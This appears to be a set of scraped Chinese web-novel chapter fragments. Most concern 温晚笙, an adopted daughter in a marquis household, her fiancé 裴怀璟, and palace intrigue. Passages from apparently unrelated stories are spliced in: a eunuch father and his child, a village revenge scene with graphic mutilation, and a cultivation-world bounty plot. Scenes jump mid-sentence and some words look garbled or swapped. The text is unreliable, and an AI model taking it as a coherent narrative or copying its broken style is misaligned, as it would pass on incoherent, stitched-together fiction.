刚才在浴池里折腾得太狠,以至于后来回到房间,什么都没再做,连头发都是他帮她绞干的。 裴怀璟嗅着心上人身上皂角和花瓣混在一起的清甜,鼻尖抵在她心口,呼吸又轻又缓。 “二小姐不说话,在想什么?” 温晚笙放在他脸上乱蹭的手一顿,半天才开口,“我在想你真是小大鸟依人呀。” 裴怀璟听着底下动人的心跳,更加依人。他的掌心贴在她略感疼痛的肚腹上,不轻不重地打着圈,声音带着餍足后的沙哑,“还累吗?” 方才的感觉犹在脑海中回荡,分开近一年,再次如此亲密相依,难免有些生疏与磨合。即便生了许多水,此次她除了欢愉,还有点疼,他亦是。 “还行吧。” “可要再来一回?” 温晚笙归府的这三日过得意外地风平浪静,转眼便到了四月初五,温宛儿的及笄礼。 然而院中的热闹与欢庆,却与此刻在内院的三人没有丝毫关系。 温景悦端坐于素雅的屋内,外面传来阵阵欢笑声和鼓乐声,透过窗子飘进屋内,使她心头仿佛被一层无形的阴云笼罩。 她阴沉地盯着手中温宛儿赠予她的精致发簪,那闪烁的光泽宛若一根根针刺在她心头。 分明她们都是父亲的亲生女儿,为何却有如此天壤之别的待遇? 温宛儿的首饰多得数不清,她只是随口说了句好看,温宛儿便毫不犹豫地将那簪子送给了她。 反观她的首饰却寥寥无几,一只手都能数得过来。 此种待遇甚至还不如温晚笙那个养女!温晚笙与温宛儿也随之福了福身,齐声道:“父亲,母亲。” 崇德候微微颔首,微眯着眼扫视了两个女儿后,目光停留在养女身上:“回来便好。” 他细细端详了养女一番,发觉她身型虽同从前般单薄,却并未像他想象中的病弱憔悴。 相反,那双眸中还似乎比从前在侯府生活时,多了丝生气。 正午的日头照在上空,泛着褪色的白。 温晚笙主仆二人用过了午膳,便前往书肆。 在整理字画的的李叔瞧见来人颇为意外,走上前将二人迎了进来:“晚笙姑娘可是要买些什么?” 温晚笙轻轻摇了摇头,回身将抱琴手中的两幅字递给李叔:“昨日瞧见乔大哥卖字画,小女也想斗胆一试。” 李叔脸上闪过一丝不解,却没有多问。 这姑娘穿得虽只是寻常布料,通身也没有过多昂贵首饰,但直觉却告诉他,这姑娘不该是会缺银子的人。 他看了这么多年的人,莫非是看错了? 翌日。 抱琴凑近正在窗前练字的少女,忽然说了句:“小姐,今日瞧着你怎的有些不一样?” 温晚笙手中毛笔一顿,正在写的“醉”字微微晕染开来,她抬眸轻笑:“是吗?” 抱琴认真点了点头,她说不上是哪里,就是感觉小姐通身都松快了些许。 温晚笙轻轻笑了笑,垂首继续写完:人生有酒须当醉,一滴何曾到九泉。 昨夜她终于下定决心,要将这匣子内的东西还于他。 写完后,她猝然从椅子上站了起来,吩咐道:“抱琴,替我打盆水来。” 见抱琴点头退下,她将最满意的两幅字收起放在一边,准备晚些时候去时将离的书肆,询问可否帮她代售。 待净完手后,她拿起匣子,独身走向西厢房。 深吸一口气后,她轻轻敲了敲门,然而,迟迟无人回应。 她不禁皱起了眉头,继续等了片刻,但周遭寂静无声,只有微风拂过的沙沙声。 她双目微凝,终选择直接推门而入。 门轴发出一阵轻微的吱嘎声,她游目四裴,却发现屋内空无一人,只有空荡的桌椅与还未熄灭的烛光,没有任何余温。 他走了? 竟连说都不同她说一声。 她捏着匣子的纤指紧了紧,第一次觉得又好气又好笑。 她想了整整一夜,才终于决定告别这份只有她一人在意的感情。 纵然心中清楚他的想法,但她心头还是不免一阵阵地发凉。 她自嘲一笑。 罢了,待回京后再同他说清吧,届时她定不会再有丝毫犹豫。 “小姐,你在这啊!”抱琴的轻唤声将她的思绪拉回。 温晚笙走出房门,还未来得及言语,抱琴便将一张纸条递到她眼前。 “裴戟也真是的,我方才去找他才得知他竟然昨夜就回京了。” 温晚笙听着抱琴微怨的话语,心中不由得又有些难受。 连裴戟都知道留句话,而他却是什么都没留下。 换做从前她只会觉得是不是自己哪儿又做得不够好,惹他厌烦了,但如今她不得不承认,不过就是他丝毫不在意她罢了。 沉吟片刻,她将纸条还于抱琴,淡淡道:“午膳过后我们去书肆一趟。” 抱琴点头应下,不动声色地看了眼她手中的八宝匣。 她知道里头装着的是小姐最珍爱的东西,但现下小姐抱着它来到西厢房门外。 莫不是 她清秀的脸上闪过一丝惊诧,赶紧小步跟上离去的少女。 难怪小姐今日瞧着有些不同,原来是终于决心要同世子说清楚了吗? 只是世子怎的离开得那样巧? 李叔将字展开后,苍老的眸子中闪过赞善之色。 他上下仔细看了一番,忍不住赞叹道:“姑娘的字当真是妙啊!” 每一笔的转折处都显得恰到好处,宛若山水间的云烟,自然而流畅。 苍劲有力、如同山峦间的巍峨崇山的字迹,全然不像是出自一位妙龄少女之手。 反倒像是一位历尽许多沧桑之人。 温晚笙轻笑道:“李叔谬赞。” 身后的抱琴也是笑了出来。半个时辰后,陈德宝等到了沐浴更衣结束的时家父女。 因只是私宴,时序没有穿那身司礼监掌印独有的蟒袍,而是换上一席内敛低调的玄色锦衣,圆领长襟,外绣暗金云纹,头戴幞头,腰佩玛瑙带銙,珐琅腰牌悬坠其上。 为了避免不必要的流程,他提前解下常佩于袖下的袖箭,腰后的短匕也留在家中,只右手大拇指上多了一枚玉扳指。 若真遇见紧急情况,按下扳指内侧的机关,藏于其中的上百枚浸毒细毛针也可解一时之急。 他走进堂厅,下颌紧绷,负手而立,垂眸睥睨左右。 众人许久没见他这样正式的打扮,神情不禁怔然。 就连时一和时二也绷紧了身体,敛去面上的轻松,眸光微凛,垂首盯着自己的脚尖。 满堂气氛就这么骤然冷下来。 陈德宝后颈一凉,生生从圈椅上滑下来,忍着双腿的软意,扶着圈椅把手勉强站着,却是再不敢催促半句。 直到时序的目光触及脚边的女童,他那一身的寒气竟骤散去许多,清冷的眸子里也带上点暖意:“阿归。” 只见温晚笙穿了一身喜气洋洋的大红棉袄,头上梳着两个丸子发髻,叮叮当当挂了许多珍珠发饰,脚蹬狐毛锦靴,怀里抱着一个圆滚滚的汤婆子。 临出门前,雪烟还在她额间点了一枚鲜艳的花钿。 活生生一个从年画里走出来的玉娃娃。 听见阿爹的呼唤,温晚笙美滋滋地仰起头来,得意地在他面前转了一圈,这才问道:“阿爹瞧我好不好看!” 一路走来,她早得了许多人的夸赞。 但依着温晚笙的想法,只有阿爹说好,那才是真的好。 时序嘴角一抿,倏尔绽开的笑容掩去他身上最后一点冷意。 他毫不吝惜对温晚笙的赞赏,碰碰她头上的发髻,摸摸她颈间的雪白兔毛,从头到脚,凡是他能看见摸到的,一样不落地夸一遍。 每说完一句,他还要给裴围人一个眼色,偏要旁人应和了,才见他继续往下说。 说到最后,反是温晚笙不好意思极了。 她忍不住捂住自己的眼睛,呜呜囔囔道:“阿爹你夸得太过啦!我、我……” 她偷偷张开两根手指,明亮狡黠的眼睛从指缝往外看着,在触及到时序的目光时,又受惊一般躲回去,同时响起的还有一句:“明明是阿爹更好看一点。” 两人的互动也叫裴围人放松几分,陈德宝缓过神来,闻言不禁笑道:“好了好了,快都别互相恭维了,你们父女俩都好看!” 他也是这时候才发现,面前两人相貌上竟有着许多相似之处。 然他行走宫廷,深知越无知才越安全的道理,饶是心中有着诸多猜测,面上也不见显露分毫,不过三言两语,就将话头转到旁处去,逗得温晚笙忍俊不禁,咯咯笑着躲到阿爹身后去。 “好了,时间不早了,我们该出发了。” 时序的一句话打断几人的寒暄。 陈德宝正了正衣襟,一甩拂尘,躬身道:“掌印请——” 不等时序说话,温晚笙已着急忙慌地把自己的小手塞进他掌心里,做完这些又仰头露出一个腼腆的笑。 不知是不是温晚笙的错觉,她总觉着阿爹的掌心都凉了许多。 她正想问上一句,可时序已经带着她走出堂厅。 她这时才看见,院里竟等了许多人,全是与陈德宝相似的内侍打扮,只从衣饰颜色样式上看,品阶要比他低上许多。 陈德宝小碎步跟在后面,见状只是笑:“掌印这是备好车马了?也好也好,省得老奴再着急忙慌去喊人了。” 如此听来,这些人原都是时序的手下。 自温晚笙到来,每逢外出之时,时序基本都是陪她坐在马车里的,这次也不例外。 陈德宝另坐了一架马车,剩余人则驾马而行。 毕竟是面见圣上,时序少不得多叮嘱几句。 宫里规矩多,这份规矩本是针对所有人的,可温晚笙入宫入得匆忙,她之前也没有接触过相关的礼节规矩,这些要求自然也无法全部苛刻地加诸于一个孩子身上。 时序只教了她对皇帝皇后的拜礼,余下的就是:“阿归只要记着对陛下皇后行礼,其余交给阿爹便是。” 坦白讲,这偌大一个宫廷,能受得住时序行礼的,也无非最顶头的那两三人罢了。 其余妃嫔极少能见到他的面,这等私宴想必也不会出席。 还有一些皇子皇女们,时序倒不介意对他们行礼,可往往不等他躬身,这些人先上前阻止了,不管心里如何不屑抵触,面上总要对他一副和气敬重的样子。 这也叫时序越发明白——短短几日内,曾经对杨二丫母女露出过善意的乡亲们撞了各种大运,要么是捡到些碎银子,要么是得了点好东西,其中有一户姓刘的人家,更是以极低的价格买下数十亩良田,四下打听许久,也不解其缘。 有得到好处的,当然也有无端遭罪的。 村里有名的痞子半夜归家时被人套了麻袋,在完全清醒的状态下,被生生折断四肢,最后去了子孙根,当着他的面喂给野狗。 动手的人说:“只怪你碰了不该碰的人,想想你两年前做了什么。” 两年前? 痞子半死不活中,猛然想起他两年前做的事。 无论喜不喜欢,权势可真是个好东西。 小姐自五岁开始便日日练字不曾懈怠,可不得妙吗? 李叔欲言又止:“只是,我们老板今日估摸着是不会来了”他忽然想到一个法子:“姑娘可以先将字交于我,我再转交于老板。” 书肆不常收字画,但写得那样好,时老板定会破例收下。 温晚笙眸子动了动,这位时老板着实是令人好奇。 她微微颔首道了谢后,李叔叫她们过两日再来。 出了书肆后,抱琴问道:“小姐,现在可是要去方家?” 温晚笙点了点头,昨日方大娘邀她今后都去方家用膳,就当是作为她教方子翁的报酬。 妇人神情那样的热情、诚恳,她便不由得有些动容。 二人正走着,却忽而被拦下。 “姑娘,贫道瞧您近日恐有血光之灾。”半个时辰后,温宛儿敲响了侯府旧宅的大门。 抱琴瞧见突然造访之人,不可思议道:“宛儿小姐,您怎的来了?” 温宛儿满意地看着她讶异的眼神,颇为自信地点了点头,吩咐道:“抱琴,带我去找姐姐。你待会去收拾下行囊,我们即刻启程回京。” 抱琴略感诧异,微微加快了步伐,将温宛儿领入宅内。 待二人走到温晚笙屋外时,温宛儿摆手示意抱琴先退下,让她一个人进去就可以。 温宛儿轻手轻脚地靠近正坐在窗边,似是陷入沉思的温晚笙,猛地捂住了她的双眼:“猜猜我是谁?” 温晚笙心下一惊,然后立即反应过来,缓缓道:“宛儿?” 抱琴可不会这般无聊,思来想去也只有她这个妹妹才会如此了。 温宛儿颇感无趣地松开了手,撇了撇嘴:“姐姐见到我难道不惊讶吗?” 温晚笙只好顺着她的话,装模作样地问了几句她是何时来的梧桐城,并在她说自己便是兄长身旁的小厮时,面上露出恰到好处的讶异。 温宛儿一个自信的眼神过后便道,他们即刻启程回京。 她面上露出一丝歉意,解释道:“此前衙门内事务颇多,我跟着兄长查案,便没来得及提早同姐姐说。”她顿了顿,又道:“兄长此时在外头等着我们。” 温晚笙轻轻应了声,心中却毫无归“家”的喜悦之情。 她心底隐隐猜出,此次兄长接她回侯府,必是养父的命令。 只是…究竟出于何种原因? 许氏的态度与往常有些不同,并未先与一双亲生儿女说话,反而对养女做足了慈母姿态,温柔道:“晚笙,母亲知道这一月你属实受苦了。”她顿了顿,眸中闪过一丝不自然:“那桩事便当作一个误会,往后你且将它忘记。” 其实,温宛儿早已与他们解释过落水一事的原委,只是无人肯相信那只是一场误会罢了。 温晚笙的羽睫颤了颤,却不欲再做任何争辩。 即便她想解释,怕是也会有那怪力出现,阻止她道明真相。 崇德候给三个儿女赐座后,轻咳一声,似是在掩饰那丝一闪而过的尴尬。 他抬手示意门外的下人将人带进来,分毫没理会许氏难看的面色。 坐在离崇德候夫妇最近的温归凌双目微凝,敏锐察觉到今日父母之间的诡异氛围。 一时间,周遭静谧无声,唯有温宛儿的心声在温晚笙耳边回荡—— 半晌,她将簪子扔到梳妆台上,语气中带着不甘与愤恨:“阿娘,父亲怎的这样!我们便如此见不得人吗?” 今日,侯府上下皆能参加温宛儿的及笄礼,唯独他们不可。 她前些日子所做的一切准备,如今却像是一场笑话。 父亲显然没有让她融入上京圈子的打算,但再过两年不到,她便要议亲。 倘若此等局面依旧,恐怕她会与母亲一般,沦为他人的妾室。 芸娘在儿女面前,全然不似在人前温顺恭敬的模样。 她悠然地斜躺于榻上,懒懒掀眸,望向眉眼与她极为相似的女儿,轻笑了声:“有什么可意外的?还有我说了多少遍,我是你姨娘,不是阿娘,莫要让旁人听了去。” 在她带着一双儿女投奔侯府时,便心知肚明。 纵然崇德候心中对他们怀有一丝愧疚,也改变不了他心底觉得他们上不得台面。 若非如此他那时又怎会狠心抛下她? 都说笙为寒门妻,不做高门妾,她的决择恐怕难以有人理解,但她绝不会后悔。 瞥见嘟起红唇的姐姐,原本专心阅读的温景锐放下书本,眸中闪过一丝阴鸷,低声一笑:“阿姐莫要生气,阿锐会替阿姐教训他们。” 这一天,许多人都收到了一封信。 这其中,当然有温升荣。 长长的一封信,字字温软,诉说她有多庆幸有这样一个父亲,他看得老泪纵横,当即起身想去找女儿好好聊聊。【】 110-114 第 111 章 第 111 章 温晚笙抵达郦国皇宫时,天色已近傍晚。 连日的颠簸,导致她现在即便躺在床上,也恍惚觉得身下在摇晃。 上一次来郦国为什么没有这么难受来着? 哦,想起来了。 那时她一直睡在别人怀里。第一夜还是第二夜,她就察觉到了在她身上乱闻的家伙。可为了不耽误事,拿到那所谓的解药,她只能佯装不觉,任他放肆。 不过他的怀抱确实舒服,让人生不出什么抗拒。 她打了个哈欠,翻了个身。 约莫半个时辰过后,及笄宴终于开始。 温晚笙与许氏伴着温宛儿走至院中后,便默默退到一旁站着。 合着这母子三人就没一个好的? 温晚笙抬眸与温景锐对上眼,那双黑润润的眸中,似是真的盛满了对姐姐的仰温之情。 崇德候见几人认识得差不多了,便让他们回房歇息,独独留下了温晚笙一人。 他肃然道:“晚笙,既然你已回府,三日后为父与你母亲便会为宛儿补办及笄礼。” 温晚笙点了点头,确实该补办了。 如今已是四月初头,距她们二人的生辰已然过去了近半年。 崇德候抚了抚长须,继续道:“你作为她的长姐,明日便随你母亲去晚庆王府送请帖。” 听见晚庆王府几字,温晚笙婉声拒绝:“父亲,晚笙今日身子抱恙,明日怕是去不了。” 崇德候只觉她在为此前搬离侯府一事怄气,给许氏使了个眼色。 许氏立即会意,笑道:“晚笙,王妃同我念叨了你好几次了。” 她此番言语中难得带着一丝真心。 有了那狐媚子的一双儿女做对比,她立时觉得养女顺眼多了。 温晚笙秀眉微蹙,有些不解,他们为何只字不提她与裴怀璟解除婚约一事,反而要她去王府拜访。 她心念一转,想到或许他们在等她自己识趣提起,便掷地有声道:“父亲,母亲,晚笙自知没资格同裴世子成婚,自愿与王府退亲。” 许氏愣了愣,嗔道:“你与世子佳偶天成,怎的就没资格了?” 其实这番说辞连她自己都不信。 上京谁人不知,裴世子目中无人,尤其不将那围着他打转的未婚妻子当回事。 温晚笙见二人仍未松口,婉声道:“晚笙知晓父亲母亲的为难之处,既如此,明日晚笙便同母亲去王府说清。” 崇德候见她追着不放,语气不容置疑:“晚笙,你若明日不愿去送请帖就罢了,但此事莫要再提!” 温晚笙知道养父说一不二的脾性,只能闭了嘴。 虽不知他们为何一反常态,一心阻拦她与裴怀璟解除婚事,但她心中却是有了打算。 纵然相隔有一段距离,温晚笙依旧能听见温宛儿的心声。 她不禁略感赞同地微微点头。 温宛儿今日拗不过许氏,所以梳妆用了将近一个时辰,选衣裳又是一个时辰。 崇德候简洁致辞过后,温晚笙是养女一事,也便昭然若揭了。 她垂着眸,没有太大反应,因为此前养父就已经同她商议过。 不少人早已猜出,没感诧异。 而那些未曾料到的人,则是各有各的反应,其中国公府千金柳清月更是双眸一亮。 伴随着高雅的琴音,晚庆王妃神色复杂地走上前,为温宛儿佩戴簪子。 晚笙果真并非侯府之女,她如今心中唯愿晚庆王不会想解除孩子们的婚事。 一曲终,礼成。 崇德候微微颔首,严肃的面庞竟透着一丝罕见的慈爱,招手将一双儿女叫到面前:“景锐,景悦,这是你们的兄长与两位姐姐。” 见那对龙凤胎向他们看过来,温归凌忽而蹙起眉,冷声道:“父亲,这几位是?” 温宛儿也眨了眨眼,面带好奇地打量了三人一番,故作疑惑道:“父亲,这俩人为何唤您父亲呀?您不是只有我、兄长与姐姐三个孩子吗?” 崇德候原本听见长子主动询问,那素来端肃的面容便阴沉了几分,在听见温宛儿此番言语时,变得更为难堪。 他本以为无需过多解释,却没料到自己这双儿女会直截了当地问出,不裴及他的老脸。 在崇德候面色微凝间,立在芸娘身后的少女,蓦地笑意盈盈道:“这位便是二姐姐吧?” 她来到侯府不过三日,便已将府中大大小小的状况了解了个遍,也知道于她威胁最大的,便是崇德候的这位亲生女儿。 而坐在温宛儿身旁的温晚笙,她压根就没放在心上。 芸娘赶忙拉住女儿,轻声训斥:“景悦,你父亲还未开口!” 少女嘟了嘟唇,隐下眼底的不满。 而崇德候说了声无妨后,便同兄妹三人简洁介绍了几人。 这对双生姐弟分别名唤温景悦与温景锐,今年便要十四岁,由芸娘一人抚养长大。 三日前,芸娘因为江南瘟疫走投无路才被迫寻到侯府,而崇德候也这才得知,自己竟还有一儿一女。 温晚笙暗暗心惊,这俩姐弟竟与她相差不到两岁。 那时的许氏,因为刚生完孩子,身子还十分虚弱,而养父竟 芸娘犹疑半晌,从袖中拿出三个荷包,怯生生道:“妾给大公子,大姑娘与二姑娘准备了些薄礼。”她含蓄一笑,先将东西递于温归凌。 然而就在下一刻,温归凌直直站起身来,没有看那年轻妇人,而是朝着崇德候与许氏道:“儿子忽而想起还要去一趟大理寺。” 说罢,没等崇德候准许,温归凌便径直走了出去。温晚笙淡淡一笑,觉得有些新奇:“妹妹有心了。” 从前侯府只有两个孩子,所以她并未经历过内院的明争暗斗。 而温景悦才这般年龄,竟如此能说会道。见她如此,颜胥倒也没有再逼迫她,晚晚嗓子后便进入了正题。 温晚笙侧耳倾听,一边在心中暗暗盘算要怎么圆满赚到这五千灵石。 她来之前都已经做好心理准备了。没吃过猪肉也见过猪跑,委托无非就那几类,捉妖,寻人,还有秘宝。乙级任务应该也大差不差。 “这个,倒也不是什么大问题”颜胥对温晚笙勾勾手指,示意她把左耳凑过来。 她还没来得及开口,就见温晚笙以最快的速度扭了一边,用右耳对着她。 “不好意思我左耳耳背。” 她面不改色地偷偷把符纸往左耳里又塞进去一些:“现在可以了,颜姐姐请讲。” 半刻钟后,温晚笙开始质疑自己是不是记错了位置,她是不是把传音符塞到右耳里了。 不然怎么会听到这么离谱的话。 “你的意思就是想让我在这里一晚上任你观察?就这样?” 不是?这是就是乙级悬赏令吗?怎么听起来那么随便呢? “不需要越级打妖兽,不需要去万魔渊,也不需要潜到仙盟偷长老的底裤?” 颜胥歪头表示疑惑。 “长老的底裤有什么用吗?”“妹子,你若是不信,你可以检查检查我的信物。” “好。”温晚笙一把接过那块闪着金光的令牌,打量它的同时也在审视颜胥。 见到人以前温晚笙以为她其实是大隐隐于市的大能,没曾想身上一点灵力也没有,还真是个普通凡人。 不过,她虽头发蓬乱,但眼神却晚明,怎么看都不像是自甘堕落之人。 以及眼角那颗泪痣,不知为何,总给她一种格格不入的感觉。 那些传闻莫非都是假的么?还是说这人其实很会伪装呢?以及她是怎么发布悬赏的。 悬赏令是修士们常用的赚钱手段,但它也并非是谁都能发布的。它对委托人的要求极高,比如甲级悬赏令必须是炼虚以上的大能才能发布,乙级需要元婴以上。 像温晚笙他们就只能发布丁级或丙级。 凡人若是有仙缘也可手持令牌仙盟发出委托,但也仅仅止步于最末的丁级任务,且令牌只能用一次。 可眼前这个名为颜胥的姑娘身上既无妖气也无灵力,不过一个普通卖饼的普通人,她是怎么做到的? 温晚笙盯着她的脸发呆,不知不觉就出了神。 “我脸上有东西么?” “啊抱歉。”她才注意到自己刚刚一直在盯着人看,虽然都是女子,但多多少少还是有些不妥,“是我冒犯了。” 颜胥倒是不在意,只伸出手在她面前晃晃,当真像个阿姐一样和蔼:“咱们先把任务做完了,你也好交差。” 温晚笙笑着把手伸过去,顺势在她的脉上搭了一下。 脉搏跳动正常,看样子也不是魔修。 那是什么?妖?鬼?亦或是修为远远高于她的大能? 但大能为什么要来这个偏僻的乡下小镇卖芝麻饼呢?这怎么说也说不通啊。 唉,她突然有些后悔以前没有好好学习了,只会分辨魔修,别的愣是一点也看不出来。 也不知道师兄那边怎么样了。 温晚笙犹豫了一下,最终决定上前叫住她:“颜姐姐,咱能不能商量一下,我这边还有点事情,等我去解决好了,再来做您的任务,可以么?” “妹子。”颜胥突然打断她,笑的眉眼弯弯,“我提醒你一下,就在刚刚,我方才已经把令牌给你了,你师兄我都没给,我只给了你。” 温晚笙低头看了一眼掌心的小木牌,又抬头看看她。 “不对!这不是问题的重点吧!” 温晚笙总觉得自己下一秒就要昏过去。 所以乙级悬赏令的内容,就这? “实在不行要不你打我一顿吧,不然这五千灵石我拿的不安心啊!” 而且就这么轻松地把钱拿到手,会让她觉得那个靠上刀山下火海才能勉强赚到五百灵石的自己很傻逼。 在她心里复杂情绪翻涌之时,耳朵里的传音符震动了一下。 “小晚笙,能听得到吗?” 她一愣,在原地转圈圈的脚步停了下来。 见颜胥没什么反应后,她才小心翼翼地应了一声,算是回复那边的人。 “你听我说,我这边遇到了点麻烦,暂时赶不过去,” 传音符需要灵力才能催动,也只有有灵根才能使用,而颜胥只是个凡人,不用担心她会听到裴怀璟的声音。 但她也总不能不说话,不然怎么交换情报。 于是温晚笙赶紧对她比了个手势,扭扭捏捏地说自己刚才豆腐脑喝多了胀气,想去个茅房。 崇德候显然没料到长子会目无尊长,顿时面露愠怒。 许氏赶忙在丈夫发怒前,替长子说话:“侯爷,归凌去了梧桐城好些时日,定有很多事务要处理。” 芸娘见崇德候并未替她说话,垂下眼似是有些委屈,随即又勉强换上一副笑脸,看起来脆弱至极。 温宛儿眼见她又要装可怜,猛地将她手中的香囊收了过来:“姨娘这香囊怪好看的,那宛儿便收下了。可是姨娘亲手缝制的?” 芸娘一愣,轻轻点头后,又将手中另一个香囊恭顺呈给温晚笙。 待温晚笙接过香囊,温宛儿似是不经意道:“咦?怎的姐姐这个香囊的做工,看起来比我的粗糙了许多? ” 芸娘心内突地一跳,眼神闪了闪,正想着该如何作答,便听温景悦脆生生道:“实不相瞒,二姐姐,这是景悦缝的。”她回身朝着温晚笙腼腆一笑,致歉道:“景悦未曾学过女红,故而做得有些粗糙,还望大姐姐见谅。” 裴戟沉声禀报:“公子,属下查出,那日暗杀您的人并非三皇子,而是梁国派来的刺客。” 裴怀璟把玩折扇的手一顿,琥珀眸子微暗,半晌,才缓缓开口:“知道了。” 他早已猜出,绝无可能是那位愚蠢至极的三皇子所为。 但这种被人玩弄于股掌之间的感觉,着实令他心中颇为不快。 此前,他马不停蹄地连夜赶回上京,结果却发觉,父亲并未遭受到他所料想的毒害,而是食物中毒。 那日,晚庆王从宫宴归府后并未任何异常,直至次日早晨才被洛氏察觉昏迷不醒。 洛氏慌了神,便立即派人传信给儿子,所幸最终只是虚惊一场。 而楚国的人 他之前确实查出了一些线索,也知楚国人已在梁国晚插了不少眼线。 裴戟眸中闪过一丝挣扎,犹豫了片刻,还是遵从内心道:“公公子,其实属下还有一事想说。” 裴怀璟懒懒掀眸,见裴戟踌躇不前的表情,声音中带着一丝不耐:“有事就说!” 一个大男人怎的如此墨迹,总是一副欲言又止的神情。 裴戟吞了吞口水,低下头,略有几分迟疑道:“属下方才经过崇德候府意外得知,温姑娘也回府了。” 瞧着温宛儿的笑容,温晚笙也是跟着心生喜悦。 她依稀记得,自己及笄之时内心无比雀跃,只因她终于到了可以与裴怀璟成婚的年纪。 忽而,一道尖细的声音打断了众人的交谈—— “圣旨到!” 众人唏嘘不已,满脸诧异地下跪。 “奉天承运,皇帝诏曰:兹闻崇德候之女温宛儿,娴熟大方、温良敦厚、品貌出众,朕与皇后躬闻之甚悦。今太子年已弱冠,适婚娶之时,当择贤女与配。值温宛儿待宇闺中,与太子堪称天设地造,为成佳人之美,特将汝许配太子为太子妃。一切礼仪,交由礼部与钦天监监正共同操办,择良辰完婚。钦此。” 贵女们几近第一时间望向温宛儿,但更多的是聚集在温晚笙身上的目光。 侯府一连发生两大喜事,然而这两件对于身为养女的温晚笙来说,却都算不得喜事。 伏在地上的崇德侯与许氏心中早有准备,但因欣喜过度,一时忘了接旨。 王公公尖声提醒:“侯爷。” 崇德候这才赶忙拉着身旁的温宛儿接旨:“谢主隆恩,吾皇万岁万岁万万岁。” 递过圣旨的那一刻,王公公满脸恭维笑容:“恭喜侯爷,恭喜温小姐。”他精明的眸光落在未来太子妃的身上,笑道:“温小姐,殿下还托咱家同您说一声,他今日公务繁忙,所以未能前来,及笄礼他会择日亲自给您送上。” 众人闻言,直接倒吸了一口气。 侯府的这位二小姐着实不简单,竟能让那位光风霁月的太子动了凡心。 待王公公离去后,众人一涌而上,恭贺声连连。 而方才还立在许氏身旁的温晚笙,已然没了踪迹。 她永远忘不了上一次他做粽子,是因为误解了‘生米煮成熟饭’的意思。 “辟邪、保平安。”裴怀璟笑意温和。 对上他认真的神情,温晚笙心弦微动。这一顿饭,她突然沉默寡言了。 要想抓住一个女人的心,先要抓住她的胃,这话还真不假。 温晚笙放下筷子,鬼使神差地问: “裴怀璟,你愿意跟我走吗?” 第 112 章 第 112 章 “愿意。”裴怀璟直勾勾地凝她,眸色柔和。 温晚笙默了一瞬,“我都还没说去哪呢。” 裴怀璟没有犹疑,“无论二小姐想去哪,我都愿意。” “那如果一辈子都不能回来呢?”温晚笙不敢看他那双太过赤诚的眼睛,拨了拨碗里的饭,“去一个人生地不熟,一切都要从头开始的地方。” “可有二小姐?” 温晚笙抬眼,“有。” “我愿意。” 温晚笙眉心轻轻动了动,刚生出的一丝好奇,便在下一刻被揭露。 门外,有三个人被小厮领着走进正厅。 站在最前面的是一位保养得宜的年轻妇人,身穿淡绿绸衫,看起来不过三十出头,低眉顺眼的模样,宛若一朵含羞待放的娇花,怜爱之情油然而生。 而她身后跟着两名身形优越的少男少女,面容极其相似,显然是一对龙凤胎。 少年满面天真无邪,而少女则是俏皮动人。 温归凌冷眸中难得有一丝讶异,几乎是在一瞬间,便确定了那三人的身份。 原来世间男子都是如此,就连他的父亲也不例外。 难怪裘月影说什么,都不肯轻易相信他的承诺。 崇德候望着那妇人,眸中是前所未有的轻柔:“芸娘,过来,莫要生怯。” 温晚笙心头隐约猜出了半分,下意识望向许氏,只见她面带端庄的浅笑,但手中快要捏碎了的帕子,却将她此刻的心情暴露得一览无余。 温晚笙没有过多意外,了然点点头,刚想唤抱琴进来,却听温宛儿道她已经去整理自个的行囊了。 随即,温宛儿眸子转了转,自告奋勇地走近她的衣橱:“姐姐,我来替你整理衣裳吧。” 温晚笙才欲说她自己来便是,却又想到若是让兄长久等怕是不妥,便轻声道了句谢。 晚庆王府。 见她。 后面这两个字,在他见到自家公子冷若冰霜的面容时,被他硬生生吞了下去。 公子偶尔冷起脸来,确实略微有些吓人。 方子翁皱着小脸,对摁着他的裴戟道:“喂,现在可以把我放了吗?” 裴戟不情愿地松开了手:“一边呆着去吧。” 这顽童此前蹲在草里不知在作甚,他一时也未想到他与温姑娘相识。 待方子翁跑开后,裴戟壮着胆子道:“公子,您若是觉得伤了晚笙姑娘,同她道歉便是” 他实在见不得自家公子这墨迹模样,分明心中很是在意,但若是说出来好似能要了他半条命。 裴怀璟扫他一眼,仿佛听见一句荒谬至极的话:“本世子要道什么歉?” 他为何要道歉? 他不过就是说不会喜欢她罢了,但婚约已经定下,无论如何他们日后都将成婚。 裴戟心中暗自叹息。 确实,公子身为王爷独子,这辈子就没给谁道过歉,以后估摸着也不会向任何人低头。 气氛一度沉寂,裴戟只能干咳一声,将袖中纸条拿了出来:“公子,有人将此物射在了门框上。”他伸出手:“公子看看吧。” 裴怀璟将其缓缓展开,面色变了变:“你可瞧见是何人所为?” 裴戟摇了摇头。 在那支箭横空而至的那一刻,他几乎是立即追了上去,然而除去那孩童,便没见到其他人。 瞧见裴怀璟神色变化,裴戟疑惑道:“公子,上头写了什么?” 裴怀璟将纸团再扔进他怀中,只见上头刚劲有力地写着八个大字:三日未归,晚庆王逝。 其中,那“逝”字颇为显眼。 裴戟眼眸微微瞪大,下意识猜测:“莫非是三皇子?” 他话音刚出便自觉失言,默默闭了嘴。 纵然三皇子同公子再怎样不对付,王爷也是他亲叔叔。 他再如何,也不应当会用王爷的性命来威胁世子。 裴怀璟没有多大反应,只是蹙起了眉,想起此前刺杀他,又说温晚笙会遇害的刺客。 他原先也确信那是他堂兄派来的人,但在梧桐城的这些日子以来,却并未觉察任何异样。 裴戟见他不发一言,有些摸不准他的想法,试探道:“公子,可要立即起程回府?” 度?这是何意? 温晚笙看了眼激动到胡须都快掉落的温宛儿,再不动声色地侧眸望向面色不自然的温归凌。 莫非兄长与裘掌柜相识? 裘月影却是不以为意,面上笑容更甚,走到温归凌身旁,作势要坐下。 感到温归凌身子紧绷了一瞬,她达成目的,转而坐到了温晚笙左侧。 温归凌薄唇抿成一条直线,生硬地提起公事:“我此番找你来,是因在醉月楼后院找到了此物。”他从怀中取出一包粉末,神色逐渐变得严峻:“你可知这是何物?” 裘月影面上笑意依旧,伸手接过,温热的指尖似无意地轻挠男人冰凉的掌心。 温归凌双眸一紧,瞬时收回了手。 她既不愿提及往事,又为何还要继续招惹他? 裘月影将粉末放在鼻端轻轻嗅了嗅,明媚的狐狸眼蓦地一黯。 温晚笙秀眉微蹙,显然也闻见了那似玫瑰又似月季,但却带点苦涩的气味。 她脑中猛然闪过一种大梁奇毒,喃喃道:“红缠痴。” 他犹豫半天是因为他也摸不准,自家公子究竟是想知道温姑娘的消息,还是不想知道。 